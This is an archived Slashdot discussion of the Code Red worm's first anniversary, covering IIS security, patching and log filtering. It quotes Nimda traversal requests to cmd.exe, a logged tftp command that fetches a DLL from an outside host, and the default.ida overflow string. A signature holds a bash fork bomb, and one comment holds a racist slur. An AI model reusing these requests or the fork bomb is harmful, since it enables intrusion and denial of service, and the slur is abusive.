Slashdot Mirror


Happy Birthday Code Red

totallygeek writes: "One year ago today (July 19, 2001), more than 359,000 computers were infected with the Code Red worm in less than 14 hours. At the peak of infection, more than 2,000 new machines were infected each minute. Servers running Internet Information Services from Microsoft were propagating this worm across the Internet faster than anything has up to then or since. For the first time, systems running the Apache web server were getting requests for a document called "default.ida". Here we are a year later, and my web log shows an average of forty-two requests per day for default.ida over the last five days. To really appreciate the spread of this program, look at this animated image."

364 comments

  1. bye bye Gif by Gyorg_Lavode · · Score: 0, Offtopic

    That animated gif is going to be /.'d before I get this posted.

    --
    I do security
  2. Already /.ed? by orionpi · · Score: 1

    Story 4 minutes old and image is /.ed.

  3. IIS is sorta like an STD by cbone00 · · Score: 4, Funny

    It is the gift that just keeps on giving.

    1. Re:IIS is sorta like an STD by Verizon+Guy · · Score: 2, Insightful

      Unfortunately, if vigilant admins set up their severs properly -- i.e., disable unused script mappings (like I did ;-), this never would have happened, bug or no bug, worm or no worm.

      --

      Aw, fuck it. Let's go bowling. - The Big Lebowski

    2. Re:IIS is sorta like an STD by DrSkwid · · Score: 0, Offtopic

      casual suers, blah blah, not a world full of experienced admins blah blah

      --
      There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
    3. Re:IIS is sorta like an STD by thesolo · · Score: 4, Insightful

      Unfortunately, if vigilant admins set up their severs properly -- i.e., disable unused script mappings (like I did ;-), this never would have happened, bug or no bug, worm or no worm.

      Yeah, that's fine and dandy for those who don't need the IDA, et all mappings; but what of those people who DO use them?! You know, a lot of those corporate servers that were hacked had those script mappings set for a reason, i.e. they were using them.

      That's great that you knew better than to keep the default script mappings, but what about people who needed them?? It would have been a lot nicer if Microsoft had written a secure server in the first place instead. Even the most vigilant sysadmin would still get infected running IIS if he needed to use the IDQ & IDA mappings. In short, don't blame the sysadmin, because it's not always their fault.

    4. Re:IIS is sorta like an STD by jmo_jon · · Score: 1

      That still applies to STD, if he'd used rubber he wouldn't have gotten infected in the first place

    5. Re:IIS is sorta like an STD by ostiguy · · Score: 2

      Uh, you could either disable them, or, you could have patched when the patch came out, or even two weeks after the patch came out. You just can't sit around and do nothing - ie, having thrown the cd in, installed the os, and made the web server serve pages is not an acceptible definition of making a web server.

      Patching and/or disabling is a way of life - be it OpenBSD, or Windows 2000.

      ostiguy

    6. Re:IIS is sorta like an STD by Anonymous Coward · · Score: 0

      Why, exactly? If you are paying thousands of dollars for Windows 2k server, why shouldn't it work out of the goddamn box? It's not like you got it for free!

    7. Re:IIS is sorta like an STD by VivianC · · Score: 2

      Uh, you could either disable them, or, you could have patched when the patch came out, or even two weeks after the patch came out. You just can't sit around and do nothing...

      Ok, I accept your point about having to keep things patched. But have you ever had to regression test a patch on 50 servers each running at least two applications across 100 departments in a large corporate environment? Sure it's simple if you have one server using IIS for only web pages.

      Still, it was mostly home users on poorly configured NT boxes that helped the problem grow. I'll even admit that my home NT server that serves up the family webpage was hit, but I had it cleaned out in a matter of hours. I wasn't using Index Server and didn't know it was running by default. I think that was the main issue.

      --
      Viv

      Gmail invites for ip
    8. Re:IIS is sorta like an STD by Herkum01 · · Score: 1

      I think that they shear number of infections would incline me to believe that there are a large number of poor admins instead of" they might be using .IDA extensions." Face it, the Indexing features are only used on a small percentage of IIS web servers, by saying that an "Admin might have been using it," would be a excuse for them not doing their job in the first place. Yeah, it is alot of work administrating NT machines, guess what, it is alot of work!

    9. Re:IIS is sorta like an STD by Verizon+Guy · · Score: 1

      The truth is that .id* script extensions are from ye olde days of IIS 3.0, and just left in there for compatibility. Practically no one uses them. IIS never became popular till version 4, so there's probably like 1% of users that actually use them.

      1% of infected servers can't do much damage.

      --

      Aw, fuck it. Let's go bowling. - The Big Lebowski

  4. And how fitting... by Jester99 · · Score: 5, Funny

    ...that on the anniversary of an attack which paralyzed servers dead in their tracks, we hear the far-away screams of agony from the lone sysadmin of missingleftsocks.com as 100,000 slashdotters pillage his machine simultaneously.

    1. Re:And how fitting... by totallygeek · · Score: 5, Funny
      .

      And how fitting that on the anniversary of an attack which paralyzed servers dead in their tracks, we hear the far-away screams of agony from the lone sysadmin of Missing Left Socks as 100,000 slashdotters pillage his machine simultaneously.

      That is me, and yeah *OUCH*, I am feeling it.

    2. Re:And how fitting... by Anonymous Coward · · Score: 0

      Well then....

      POST US A URL SO WE CAN SEE THE IMAGE !!! :-)

      or just post the binary here so we can remake it using notepad ;-)

    3. Re:And how fitting... by Flakeloaf · · Score: 1

      Welcome to missingleftsocks.com.

      Slashdotted by Chinese!!!

      --

      Am I the only one who heard Roxette to sing "I'm gonna get blitzed for some sex"?

    4. Re:And how fitting... by Anonymous Coward · · Score: 0

      Poor sap. I haven't had hits from code red in MONTHS. I run a site that gets about half a million visits a day and racks up about 150mb of access logs every day. Not a single request for default.ida.

    5. Re:And how fitting... by moz25 · · Score: 1

      Well, from the looks of it, it's a rather large (4 meg) file. Assuming 100k slashdot users download it, you'll get 400 GB of data transfer... I hope you have a good agreement with your provider ;-)

      Moz.

    6. Re:And how fitting... by loconet · · Score: 2, Interesting

      Hey .. why dont u post some of the log entries ...to see for the first time how a webserver sees the /. effect :)

      --
      [alk]
    7. Re:And how fitting... by Monkelectric · · Score: 2

      umm, you did it to yourself, seeing as you submitted the article :)

      --

      Religion is a gateway psychosis. -- Dave Foley

    8. Re:And how fitting... by phanki · · Score: 0, Redundant

      yes indeed, I can see u feeling it. Man ! it seems your server is takin it all. This is completely out of interest, what are you running your server on. I want to know how much it takes for a server to getting hit like this. Can you share with us all from the web logs how your server took this 'code /. ' ;)

    9. Re:And how fitting... by Anonymous Coward · · Score: 0

      Shut up nigger.

    10. Re:And how fitting... by raxhonp · · Score: 1

      Try this: man grep

  5. I wouldn't worry about it. by colmore · · Score: 5, Funny

    Don't worry about Code Red and related problems. I'm sure Microsoft will fix everything before they start storing our National ID information.

    --
    In Capitalist America, bank robs you!
  6. Sorry. by ryanr · · Score: 5, Interesting

    One year anniversary was last week some time. We had been running DeepSight (nee ARIS) in a test mode at the time, and actually detected some test runs of Code Red about a week before the big outbreak.

    Folks will notice though that the fixed version of Code Red I (CodeRed.B) is still going. Picked up a couple of hits today.

  7. Logs Clogged by quakeroatz · · Score: 1
    Is anyone else getting massive requests for:
    GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 279 "-" "-"
    GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 320 "-" "-"
    GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 320 "-" "-"
    GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 289 "-" "-"
    GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HT
    GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 286 "-" "-"
    GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 286 "-" "-"
    GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 303 "-" "-"
    GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303 "-" "-"
    GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303 "-" "-"
    GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302 "-" "-"
    GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302 "-" "-"
    GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302 "-" "-"
    GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302 "-" "-"
    GET /scripts/root.exe?/c+dir HTTP/1.0" 404 281 "-" "-"
    I get hit wit this crap every 5 minutes. Has anyone found a way to filter or deny these futile attempts while still maintaining a public apache server?

    1. Re:Logs Clogged by casings · · Score: 1

      i am pretty sure those are nimda.

    2. Re:Logs Clogged by odaiwai · · Score: 5, Informative

      That's the nimda worm. Running apache, you're immune to it, but it makes a mess in your logs.

      One thing to do is have a cron job to scan your logs and if it sees any of the above, add the ip to an iptables blocklist. At least that way, you only get hit once by it from each infected host.

      Or you could use apache's rewrite rules to forward all attacks to www.micrsoft.com, but I wouldn't recommend that.

      dave

    3. Re:Logs Clogged by quakeroatz · · Score: 1
      Hey you're right. But I'm also getting:
      GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
      I have at least 400 unique ips spreading these requests in my little corner of the old @home network.

      Wouldn't Roger's/Cogeco/Road Runner etc. be saving bandwidth if they actually contacted the owers of the infected servers and had them run a simple update? I'd do it myself if I knew the people behind the 24.x.x.x ips.
    4. Re:Logs Clogged by casings · · Score: 1

      Yea they could save bandwidth. You should send them a letter with the ips ur getting it from and say they need to do something about it. Except of course they might find out that ur running a server urself, and they might ToS u.

      I just like to see em in my logs. My little log rotater / analyzer works like a dream ;D.

    5. Re: Logs Clogged by Black+Parrot · · Score: 1, Offtopic

      > Is anyone else getting massive requests for:

      GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 279 "-" "-"
      No, but I frequently emit massive requests for:
      GET laid
      --
      Sheesh, evil *and* a jerk. -- Jade
    6. Re:Logs Clogged by timecop · · Score: 5, Informative

      many months ago when default.ida was the rage around the www, I added these couple lines to my httpd.conf:

      SetEnvIf Request_URI "^/default.ida" dontlog
      ErrorLog logs/254-error_log
      CustomLog logs/254-access_log combined env=!dontlog

      check out SetEnvIf in apache docs, you can do even better than this.

    7. Re:Logs Clogged by Warped-Reality · · Score: 1

      It's not a server... it's just a piece of software that collects code red requests :)

      --
      This is not the greatest sig in the world, no. This is just a tribute.
    8. Re:Logs Clogged by sharph · · Score: 1
      http://sharph.net/abuse.txt

      I wrote a custom ErrorDocument 404 cgi script (in shell script :) that detects an attack, then puts it in this log. It also adds it to a firewall script, and sets a flag by setting a files contents to "YES". The crontab picks this up and restarts the firewall. As an added bonus, I also made it so it detects bad web bots that don't follow robots.txt.

    9. Re:Logs Clogged by Anonymous Coward · · Score: 0

      write a script to send back your porn collection.

    10. Re:Logs Clogged by quakeroatz · · Score: 1

      Great idea! Why are you Karma= -1??

      Someone please mod up parent

    11. Re:Logs Clogged by Dahan · · Score: 2
      Or you could use apache's rewrite rules to forward all attacks to www.micrsoft.com, but I wouldn't recommend that.

      I doubt the worm is going to bother to follow redirect requests.

    12. Re:Logs Clogged by Anonymous Coward · · Score: 0

      The reason timecop is at a default -1 posting level is because a) he's a well-known troll, and b) he's a racist fuckhead.

    13. Re:Logs Clogged by timecop · · Score: 0, Funny

      Where did you get that idea from? Collecting trolls doesn't make me a troll myself, and as far as the second one... Whatcha talking about, willis?

    14. Re:Logs Clogged by dr4ma · · Score: 0

      Over here is a post on running apache and getting rid of the IIS worm...

      --
      Privacy? Not in this lifetime.
    15. Re:Logs Clogged by mbogosian · · Score: 3, Interesting

      I doubt the worm is going to bother to follow redirect requests.

      Besides https://microsoft.com/ would chew up more cycles on their end....

      All kidding aside, with a redirection rule, the worm may not follow it, but at least it cleans up the logs a little. Plus, Apache's default error page and it's default redirect page are about the same size (for the bandwidth conscious).

      Just add the following to your httpd.conf at the root level (so they are inherited by all of your <VirtualHost>s as well):

      RedirectMatch /default.ida https://www.microsoft.com/
      RedirectMatch /robots.txt https://www.microsoft.com/
      RedirectMatch /root.exe https://www.microsoft.com/
      RedirectMatch /cmd.exe https://www.microsoft.com/

      For those of you who think these are a bit too general (they match quite a few URLs), or if you have legitimate destinations which are matched by the above patterns, I'm sure they can be modified to suit your needs....

    16. Re:Logs Clogged by odaiwai · · Score: 2

      Apache allows you to rewrite incoming requests according to a set of rules. These are not the same as a page refresh in a META tag.

      dave

    17. Re:Logs Clogged by Dahan · · Score: 2
      Yes, apache lets you return a redirection response (301 Moved Permanently or 302 Moved Temporarily). Yes, that's different from a meta refresh in the HTML. But no, you can't force anything to follow either of them. Like I said, I doubt if Code Red is gonna bother to follow a redirection request.

      Heck, I'd be mildly surprised if Code Red even bothered looking at the response from the server... IIRC, it just dumps the code it wants to run in the HTTP request and lets the code take care of the rest. (On the other hand, nimda does check the status code to see if the server's vulnerable to any of the attacks it tries. If you return 404s, it gives up pretty quickly, but if you return 200, it tries to do a lot more).

    18. Re:Logs Clogged by rossz · · Score: 3, Informative

      robots.txt has a legitimate use. Redirecting attempts to access it would be extremely stupid.

      When a legitimate bot such as google scans your system, it looks in robots.txt for find out where NOT to scan in case you have web pages you do not wish to be searchable.

      --
      -- Will program for bandwidth
    19. Re:Logs Clogged by Marqis · · Score: 2, Informative
      Create a .htaccess (in the root of your website)file containing:

      redirect /scripts http://www.stoptheviruscold.invalid
      redirect /c http://www.stoptheviruscold.invalid
      redirect /d http://www.stoptheviruscold.invalid
      redirect /_mem_bin http://stoptheviruscold.invalid
      redirect /_vti_bin http://stoptheviruscold.invalid
      redirect /msadc http://stoptheviruscold.invalid
      redirect /MSADC http://www.stoptheviruscold.invalid
      RedirectMatch (.*)\cmd.exe$ http://stoptheviruscold.invalid$1

    20. Re:Logs Clogged by mbogosian · · Score: 1

      You are absolutely right. That's what I get for copy/paste group search/replace without proofreading. Maybe MS is right...maybe it is user error.... :)

    21. Re:Logs Clogged by onki · · Score: 2, Informative

      Use mod_rewrite to direct those scans to a cgi/web script. I'm storing them in a database which is being read as soon as my firewall starts (laptop). Completely automated.

    22. Re:Logs Clogged by WWWWolf · · Score: 1
      Or you could use apache's rewrite rules to forward all attacks to www.micrsoft.com, but I wouldn't recommend that.

      Besides that would be of no use. The redirect works by saying "These are not the pages you're looking for, please look from www.microsoft.com instead" - it's not *commanding* anything, just a note where the content may be found. The browser is supposed to interpret that, and I guess the virus couldn't care less about redirections.

      Personally, I made a quick mod_perl script for this little webcam server on my home computer. It basically works by saying "If the user doesn't have an User-Agent header, return with 403; otherwise, let them do what they want". (People who spoof the User-Agent for some obscure reason usually use something, not leave it completely empty!) This kills most of the viruses, and the server acts like a sadistic bureaucrat towards the skR1pT k1dd0s. "Sorry, this sploit is malformed. Please fill forms 40a and 41b, and go back to the end of the queue. =)"

    23. Re:Logs Clogged by nick-less · · Score: 1

      I like this ones most ;-)

      GET /scripts/root.exe?/c+tftp%20-i%20195.243.192.50%20 GET%20cool.dll%20httpodbc.dll

    24. Re:Logs Clogged by Anonymous Coward · · Score: 0

      I redirect them to http://127.0.0.1

    25. Re:Logs Clogged by millette · · Score: 1

      What's the point of redirecting robots.txt?

    26. Re:Logs Clogged by nzhavok · · Score: 1

      OK so you collect trolls, thanks for the link to the trolls you have collected. Look at this troll on your site. Look at this post of yours, well case closed I'd say, you are definately a troll.

      Before you come back with a (I'm sure very witty) YHBT post, I'd like to point out I was really really really bored, but have just spent the last half hour laughing my head off at those trolls. cheers

      --

      He who defends everything, defends nothing. -- Fredrick The Great
    27. Re:Logs Clogged by fire-eyes · · Score: 1

      Using the strings module with iptables, you can construct rules to reject/deny/etc packets with certain strings in them.

      The only drawback is the initial TCP connection stays open, then part of it is blocked, and it has to simply time out, but apache never sees the messy logs.

      --
      -- Note: If you don't agree with me, don't bother replying. I won't read it.
    28. Re:Logs Clogged by tburkhol · · Score: 1
      As others have pointed out, NIMDA.

      One way to deal with it is to define the default VirtualHost to answer your IP addy. Give it a 0 byte 404 document, separate, minimal or non-existant log files, and all the mess goes away while reducing the outgoing bandwidth.

    29. Re:Logs Clogged by BitchAss · · Score: 2

      A similar question. Is anyone getting hit with this:
      XX.XX.XX.XX - - [13/Jul/2002:19:47:41 -0400] "CONNECT 151.189.24.12:6669 HTTP/1.0" 200 5639 "-" "-"

      I get a couple of them every few days in my log files. Is this a worm or just some idiot?

      --
      Like sex? Read and write about it! Indecent Blogging
    30. Re:Logs Clogged by quakeroatz · · Score: 1

      That looks like an IRC client connection request (port 6669).

      If you do use IRC on a regular basis, do a whois on your normal IRC server for that IP, find the nickname and see if you can contact the person. If all else fails, contact the admin for the IRC server and have the person booted.

    31. Re:Logs Clogged by zerodeux · · Score: 1

      And what about making fun with those log entries ? My Apache was used to be hit more often by Nimda and CodeRed rather than regular users, so I decided to make an effort for this unexpected public.

    32. Re:Logs Clogged by BitchAss · · Score: 1

      I thought of that too, but i've never seen anything like that in the log files before. Anyway - thanks for the hint.

      --
      Like sex? Read and write about it! Indecent Blogging
    33. Re:Logs Clogged by Anonymous Coward · · Score: 0

      Don't accept IP based requests dumbass! Use host headers DNS only!

  8. Re:appreciation by shepd · · Score: 1

    >i dont appreciate gay viruses

    Well, in that case, do you prefer viruses that are straight or sad?

    --
    If you could be told what you can see or read, then it follows that you could be told what to say or think - BoC
  9. Interesting... by neksys · · Score: 1, Insightful

    It's been a year since the most devastating virus spread across the internet like wildfire - and to this day, Microsoft still insists that such things are the fault of the user, not the software.

    1. Re:Interesting... by Flakeloaf · · Score: 1

      You are, no doubt, referring to the war3z'd release of Windows XP, right?

      --

      Am I the only one who heard Roxette to sing "I'm gonna get blitzed for some sex"?

    2. Re:Interesting... by Anonymous Coward · · Score: 1

      well, I do seam to remember a hotfix being out BEFORE the virus.
      So, users can't be buggered to apply it, yeap. User Fault

      Posing AC, so don't loss any lovly karma.

    3. Re:Interesting... by CrazyDuke · · Score: 1

      ...especially considering microsoft patches can hose a system quicker than the viruses will?

      --
      Any sufficiently advanced influence is indistinguishable from control.
    4. Re:Interesting... by NeuroManson · · Score: 4, Insightful

      Considering that despite the worm being in the wild for over a year, that either installing a *nix varient, applying a service pack, or simply running a decent antivirus app were alternatives to being infected? All of which are conscientious actions of the user, admin, etc? All actions that are made on the part of the user? All options undertaken or not by the user?

      Sounds an awful lot like the fault of the user to me...

      --
      Just because you can mod me down, doesn't mean you're right. Shoes for industry!
    5. Re:Interesting... by Anonymous Coward · · Score: 0

      what are you talking about? please document your claims.

    6. Re:Interesting... by Tony-A · · Score: 5, Funny

      Microsoft still insists that such things are the fault of the user, not the software.
      Microsoft is right. The user is using Microsoft software.

    7. Re:Interesting... by Anonymous Coward · · Score: 0

      (unrelated, maybe, but I had a desktop with .NET beta installed and never bothed updating it. A patch came out for the full release and it fucked up IIS and after a reboot it never came up again. I needed to reinstall.)

    8. Re:Interesting... by Bartmoss · · Score: 1

      Since the fix for the hole the original code red used was afair available for 6 months, it actually was the users' fault.

    9. Re:Interesting... by Zocalo · · Score: 4, Informative
      In this case I tend to partly side with Microsoft. OK, they put the bug there in the first place, but when you consider that:
      • Every coder makes programming errors (some more than others, true).
      • Microsoft released a *working* patch a few months before the exploits started.
      • A work around was also available.
      • A properly installed & configured server was *not* vulnerable.
      • A web server does not need to *establish* outbound HTTP connections through the firewall, only to accept and reply to them.
      You kind of get an idea where they are coming from.

      PS. That last point is the crux, and denying webservers the ability to establish outbound HTTP connections would have stopped Code Red type exploits dead. If your network is properly configured, even if you are exploited, then the exploit should have a much harder time propagating and thus making you look like a complete incompetent. The *real* problem is that a *huge* proportion of sysadmins don't seem to understand the most basic of security principles, and that's not Microsoft's problem at all.

      --
      UNIX? They're not even circumcised! Savages!
    10. Re:Interesting... by Spacelord · · Score: 1

      Not meant as flamebait ... but we're damn lucky that there hasn't been a similar worm that exploits Apache servers with the vulnerability that was found a few weeks ago. There are probably thousands of Apache servers running that still haven't been patched.

      We were probably saved by the fact that the exploit code that was released was for OpenBSD specifically, and not *that* many servers run on OpenBSD. This proves again of course that diversity is a good thing ...

    11. Re:Interesting... by Anonymous Coward · · Score: 0

      yes! 350000 users must be wrong!

    12. Re:Interesting... by actiondan · · Score: 1


      we're damn lucky that there hasn't been a similar worm that exploits Apache servers with the vulnerability that was found a few weeks ago


      If Microsoft were really evil, they'd have some people creating just such a worm right now...

    13. Re:Interesting... by Anonymous Coward · · Score: 0

      What the hell is .NET? I'm running Win2k professional and I've applied every single critical patch listed on Windows Update and have NEVER had a problem. Maybe your hardware is broken.

    14. Re:Interesting... by bogado · · Score: 2
      I agree 100% with your opinion. But I would like to add that Microsoft, with their "user friendness", contribute to this situation. If their server have all but the html serving (and maybe a cgi dir) turned off by default, letting the one who need the extra features to turn them on this would never had happen.

      --
      []'s Victor Bogado da Silva Lins

      ^[:wq

    15. Re:Interesting... by Dilly+Bar · · Score: 2

      One week after the outbreak was supposed to be over, I tried setting up a Windows 2000 Server. IIS was enabled by default, and thinking the worse was over, didn't turn it off. I was infected before I could download antivirus software or the patch. This was on a dual T3. Explain to me how this is my fault.

    16. Re:Interesting... by netringer · · Score: 3
      One week after the outbreak was supposed to be over, I tried setting up a Windows 2000 Server. IIS was enabled by default, and thinking the worse was over, didn't turn it off. I was infected before I could download antivirus software or the patch. This was on a dual T3. Explain to me how this is my fault.
      OK, I will.

      Did it occur to you that maybe you should connect the box to the Internet as the LAST STEP? - AFTER the server is configured and PATCHED?

      You can get the service pack on another system and write it to CD so you don't need an ethernet connection to make the system current with patches.

      Plug the ethernet cable into the server as the dead LAST step.
      --
      Ever dream you could fly? Get up from the Flight Sim. I Fly
    17. Re:Interesting... by ShavenYak · · Score: 3, Insightful

      Did it occur to you that maybe you should connect the box to the Internet as the LAST STEP? - AFTER the server is configured and PATCHED?

      Perhaps that should be obvious to an experienced sysadmin, but most installers of Windows 2000 won't have a clue about such precautions. The intelligent thing for Microsoft to have done is not had IIS turned on by default. This is especially obvious when you consider how many of the Code Red hits you get come from people who obviously don't even use the IIS that's running on their box.

      Since Microsoft is aiming their software at clueless users who can't be bothered to secure their machines, Microsoft needs to ensure that their software is secure out of the box.

      --

      Hey kids, there's only 5 days left 'til Yak Shaving Day!
    18. Re:Interesting... by netringer · · Score: 3, Insightful
      Perhaps that should be obvious to an experienced sysadmin, but most installers of Windows 2000 won't have a clue about such precautions. The intelligent thing for Microsoft to have done is not had IIS turned on by default. This is especially obvious when you consider how many of the Code Red hits you get come from people who obviously don't even use the IIS that's running on their box.
      Well, I don't think anybody has to defend NON-professional sysadmins. If you really believe that any Internet server should be so brain-dead simple that you can't hurt yourself you should get what you deserve - even if you managed to pass the MCSE exams.
      Since Microsoft is aiming their software at clueless users who can't be bothered to secure their machines, Microsoft needs to ensure that their software is secure out of the box.
      Far be it for anybody to defend Microsoft on slashdot but this is an impossible requirement that no other OS vendor delivers - Not other Unices - Not even Linux.

      Fifteen years ago we knew that Sun insisted on shipping SunOS with a "+" in /etc/hosts.equiv which would open your system to any other server on the network. We edited that and other config files before a Sun went on the LAN.

      In the real world you have a checklist of things that must be done and things that must be changed before the box can put into production especially on the the big bad Internet. In our company, where the NT operations MCSE staff are not exactly the brightest thinkers, we have a standard Windows 2000 build document that has a security checklist and says to only install IIS if the box is going to be a web server. There ARE checkboxes in the custom install where you can deselect the install of IIS and other unneeded programs.

      If you dare to draw a paycheck you SHOULD be a Professional. It's up to you to learn how a professional operates.
      --
      Ever dream you could fly? Get up from the Flight Sim. I Fly
    19. Re:Interesting... by Anonymous Coward · · Score: 0

      > Far be it for anybody to defend Microsoft on slashdot but this is an impossible requirement that no other OS vendor delivers - Not other Unices - Not even Linux.

      FreeBSD sets a pretty good benchmark, though..

    20. Re:Interesting... by realdpk · · Score: 2

      "Fifteen years ago we knew that Sun insisted on shipping SunOS with a "+" in /etc/hosts.equiv which would open your system to any other server on the network. We edited that and other config files before a Sun went on the LAN."

      They don't ship this way now, though, right? Sounds like they've learned something. Perhaps Microsoft could also learn something from this.

      But they won't. The defaults will always be insecure, for sake of "features".

    21. Re:Interesting... by Anonymous Coward · · Score: 0

      Because you were a dumb ass who connected an unsecured machine to the Internet?

      But of course, you post on SlashDot so therefore you are immune to dumbassitis

    22. Re:Interesting... by ShavenYak · · Score: 2

      Far be it for anybody to defend Microsoft on slashdot but this is an impossible requirement that no other OS vendor delivers - Not other Unices - Not even Linux.

      Agreed, although as another poster mentioned the BSDs come close. Also, if you do a default install of the more recent Linux distributions they won't be running too many services. I can't remember if RedHat or Mandrake turn on Apache by default, as I've never done a default install of either.

      If you dare to draw a paycheck you SHOULD be a Professional. It's up to you to learn how a professional operates.

      Again, Joe Home User who gets his shiny new Windows machine and hooks it up to his cable modem out the house shouldn't have to be a professional. He doesn't know about servers and firewalls and ports (oh my). He expects it to be plug-n-play, so it seems that Microsoft has a responsiblity to make sure unwanted things don't start playing when the machine gets plugged (the Unix vendors have this same responsibility, to be sure).

      You also shouldn't expect Joe User to use the custom install and deselect IIS - you probably shouldn't expect him to know what IIS is. You can expect a sysadmin to know how to select IIS to be installed if he needs it. So the default obviously needs to be not installing IIS. Or Apache, for the Unices.

      --

      Hey kids, there's only 5 days left 'til Yak Shaving Day!
    23. Re:Interesting... by CrazyDuke · · Score: 1

      I seem to recall an XP update that hosed a bunch of systems that had auto-update on. I can't find any of the old articles though.

      --
      Any sufficiently advanced influence is indistinguishable from control.
  10. I'm still getting hit as well by 1gig · · Score: 2

    My server is still getting hit by code red infected
    servers on the avarage of every 5min. It would seem
    that after all of this time people would clean up their servers. What really bothers me is some of the machines hitting me are commercial web sits verses the home machines.

    1. Re:I'm still getting hit as well by Wiseazz · · Score: 1

      I know what you mean... I would guess about 60-70% of our worm traffic from what appears to be non-commercial home boxes. The majority of the rest seem to be mom-and-pop web servers.

      I would do a more detailed scan, but since code red and nimda, looking at my logs gives me a headache.

      --
      My sig sucks.
    2. Re:I'm still getting hit as well by SpaceJunkie · · Score: 1

      So what we are saying is that worm activity on the internet, once it has stabilised may reveal the answer to life the universe and everything - what with the earth being a supercomputer and the internet being a supercomputer built by that. I wonder what deep thought would have to say about all of this...

      Maybe someone needs to make a H2G2 entry to record this penomenon..

      --
      OrionRobots.co.uk - Robots From sol
  11. What about Morris? by sconeu · · Score: 5, Insightful

    Servers running Internet Information Services from Microsoft were propagating this worm across the Internet faster than anything has up to then or since

    Granted, the 'Net was a lot smaller, but what about the Morris worm?

    --
    General Relativity: Space-time tells matter where to go; Matter tells space-time what shape to be.
    1. Re:What about Morris? by MavEtJu · · Score: 2

      At least the Morris worm was gone within a month...
      *sob*

      --
      bash$ :(){ :|:&};:
    2. Re:What about Morris? by Weffs11 · · Score: 2, Interesting

      I was curious, so I did some research on what teh Morris Worm was. (I was 4 at teh time it was released)

      All About Morris
      Wikipedia
      It seems that a college kid wrote a small prgram to propagate itself to as many computers as it could, and try to run in the background unnoticed. But due to a bug(s) it copied itself manytimes over and ran multiple times on teh same machine, causeing to slow to a point of being unusable.

      It infected 6,000 VAX machines in November of 1988.

      Gotta love Google

    3. Re:What about Morris? by pediddle · · Score: 1

      Nice sig. For the sake of countless harddrives that are doomed to thrash for hours, I hope most people are not so gullible...

    4. Re:What about Morris? by Yottabyte84 · · Score: 1

      Isn't it just a forkbomb?

    5. Re:What about Morris? by David+Off · · Score: 2, Insightful

      I was working for Siemens at the time as a young Unix hacker (siesoft.co.uk).

      The Morris worm was slowed down by the speed of the Internet... we had a 64kbps connection to ICL. We managed to pull our link to the next before we got affected. It was really quite exciting at the time, following the Usenet links as people pulled the Morris worm apart and analysed it byte by byte.

      In the end we were probably affected for around 3 days. We first realised there was a problem as Usenet dried up... we used to take all newsgroups with a feed of around 1000 posts per day! This slowed to a trickle during the 'attack'.

      Things got back to normal again as you really had to have people who knew what they were doing to get Unix and Vax systems on the 'net back then. Also there were nowhere near as many wankers online, even as a % of the total population. We were there in a spirit of cooperation and discovery. Happy days.

      David

    6. Re:What about Morris? by JohnFluxx · · Score: 1

      > They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety -B.F.

      Ah, but the difficulty is defining what liberties are essential

    7. Re:What about Morris? by CharlieG · · Score: 2

      Newbie :-)

      I remember not being able to send email to my wife.

      BTW "The Kid" happened to be the son of one of the main security geeks at the NSA

      --
      -- 73 de KG2V For the Children - RKBA! "You are what you do when it counts" - the Masso
    8. Re:What about Morris? by newton34 · · Score: 0

      curiosity killed my hard drive. I tried your sig on my cygwin bash prompt. I has to reboot after noticing the task manger filling up with bash prompts. I guess I found one great thing that windows has over all *nix. ( I was able to reboot!!!) how would you fix a fork bomb any other way?

      --
      look my sig changes!!! nrrt mf oci jdabi.o!!! z..a ir kot gh-ntbk{{{
    9. Re:What about Morris? by JordoCrouse · · Score: 2

      BTW "The Kid" happened to be the son of one of the main security geeks at the NSA

      Yeah, the guy who invented the Unix password crypto scheme in the first place:

      http://cm.bell-labs.com/cm/cs/who/dmr/crypt.html

      Those who do not study history are doomed to repeat it.

      --
      Do you have Linux and a DotPal? Click here now!
    10. Re:What about Morris? by CTho9305 · · Score: 1

      You can set a max thread limit and then a forkbomb will have limited effects

    11. Re:What about Morris? by pediddle · · Score: 1

      Yeah, but I fell for it :)

    12. Re:What about Morris? by pediddle · · Score: 1

      Why is that an advantage? All I had to do was go to another terminal (wait a while for it to start up...) and type 'killall bash'. I lost all my terminals, but it pretty much was fixed after that, no reboot necessary.

    13. Re:What about Morris? by UncleDavid · · Score: 1

      It infected VMS and SunOS - it tried to run the code for both architectures on any given machine.

      I think this was the first example of an attack using a BO to smash the stack - RTM danced on a cafeteria table when he figured it out, goes the legend.

      Working at Prime, what I remember best is having to go to a room full of visiting customers the next morning to assure them their Primos boxes were safe. The hype level was high.

    14. Re:What about Morris? by blair1q · · Score: 2

      Prosecuting Robert Morris sent a strong message that has controlled this sort of antisocial behavior.

      --Blair
      "I need a Zantac."

    15. Re:What about Morris? by Yottabyte84 · · Score: 1

      `ulimit -u 120` does a good job of damage control against forkbombs.

  12. Well, at least it was good pizza that night... by SClitheroe · · Score: 5, Interesting

    It really was good pizza...and it was quite a bit of fun riding skateboards around the corporate HQ at 2:30am in the morning...

